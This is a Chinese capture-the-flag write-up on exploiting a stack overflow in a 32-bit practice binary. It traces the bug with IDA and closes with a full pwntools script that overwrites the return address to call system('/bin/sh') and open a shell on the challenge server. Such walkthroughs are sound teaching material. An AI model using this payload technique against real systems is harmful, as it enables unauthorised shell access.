1.获取文件和链接,并且checksec检查文件的防护机制

注意到NX保护开启了,并且是一个32位文件

2.在ubuntu运行IDA*32的server文件,并且用IDA打开文件在debugger中进行相关设置后,开始远程调试



找到main函数,f5进入,并且查看函数表,以及main函数c语言伪代码

跟进到vulnerable_function()并且查看,很明显,read函数处存在栈溢出

可是system函数中没有参数“/bin/sh”

则shift+f12 打开string窗口,一键找出所有的字符串

可以发现 数据”/bin/sh”

现在只需要构造system(“/bin/sh”)就可以getshell了

首先,对system的参数和返回地址了解一下,如图:

在main函数中的call vulnerable_function下断,f9运行程序到断点处:

f7单步步入vulnerable_function

可以看到,进入函数vulnerable_function后,对ebp(caller的栈帧保护)和esp(腾出栈空间)一番操作后,并且push offset command 将system函数的必要参数放入到了栈中,然后再f7跟进system函数。

可以看到栈中数据从上到下为:caller(vulnerable_function)的下一条指令地址,还有system的字符串参数command (分析到此结束,此处不对system函数进行过多探究)

那么vulnerable_function的功能是:

(1)调用system函数,输出Input:

(2)调用read函数,最多读入0x100字节,从0(buf)处开始写入到buf中

现有的信息:

(1)read函数处有栈溢出,
(2)system函数的地址
(3)字符串 "/bin/sh"的地址
(4)system函数调用时的栈结构
(5)栈为buf的读入腾出了0x88空间(从main函数的栈底地址处开始)

可以用这些信息,在read函数处,进行相应操作,下图所述:

9.开始写python exp:

from pwn import *

link = remote("pwn2.jarvisoj.com","9878")
#连接目标主机
context(arch = 'i386', os = 'linux', log_level = 'debug')
#设置目标主机的信息
elf_open = ELF("./l2")
#ELF()获取当前路径(调用当前脚本的)l2文件的句柄
system_address = elf_open.symbols["system"]
#获取字符串的地址
#获取l2文件中system函数的入口地址
str_address = elf_open.search("/bin/sh").next()
#也可以写成next(e.search("some_characters")) 
#找到包含 some_characters(字符串,汇编代码或者某个数值)的地址。
trash = "A"*(0x88+0x4)
#无意义的数据
test = 0xababaabb
#此数据用于覆盖main函数中的栈底地址
payload = trash + p32(system_address) + p32(test) + p32(str_address)
#根据上图,构建出payload
link.sendlineafter("Input:\n",payload)
#在标准输出流获取到字符串Input:\n 后,发送payload并且换行
link.interactive()
#将控制权交给用户

将python exp和当前题目的文件(重命名为l2)放在同一目录下,运行python exp,然后cat flag